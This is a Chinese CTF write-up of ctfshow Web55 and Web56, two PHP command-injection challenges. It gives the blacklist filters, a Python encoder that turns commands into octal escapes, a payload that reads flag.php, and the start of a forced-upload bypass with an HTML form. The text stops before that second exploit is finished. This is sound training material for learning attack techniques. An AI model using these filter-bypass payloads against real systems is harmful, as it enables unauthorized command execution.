当前位置：首页 > article >正文

ctfshow(55,56)--RCE/命令执行漏洞--无字母RCE与强制文件上传RCE

article 2024/10/27 10:09:37

Web55

源代码：

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);

代码审计：

过滤了字母和一些符号。

思路：

使用无字母RCE。
linux系统可以使用$'\xxx'的方式执行命令，其中xxx是符号的ASCII码的八进制形式。
使用脚本构造我们需要的命令：

target = 'ls'
content = "$'"

for i in target:
    asc = ord(i)    #ord函数将字符转换为ASCII码
    octal = oct(asc)[2:] #oct函数将十进制数转换为八进制字符串,输出为0oxxx。使用字符串切片来只获取数字部分。
    content += "\\"+octal

content += "\'"
print(content)

target是我们要执行的命令。

EXP：

由于我们要执行的命令是 cat flag.php,所以构造的payload是：

?c=$'\143\141\164'%20$'\146\154\141\147\56\160\150\160'

得到flag。

Web56

源代码：

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

代码审计：

过滤了字母和数字，以及一些符号。

思路：

由于过滤了单引号和双引号，所以或运算绕过不能使用。
考虑使用强制文件上传。

先构造一个文件上传页面：

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>POST数据包</title>
</head>
<body>
<form action="http://b3135143-892a-4fe3-b4dc-7a54c640c9b2.challenge.ctf.show/" method="post" enctype="multipart/form-data">
    <label for="file">文件名：</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

然后构造一个文本文件，待会我们就要上传这个文件：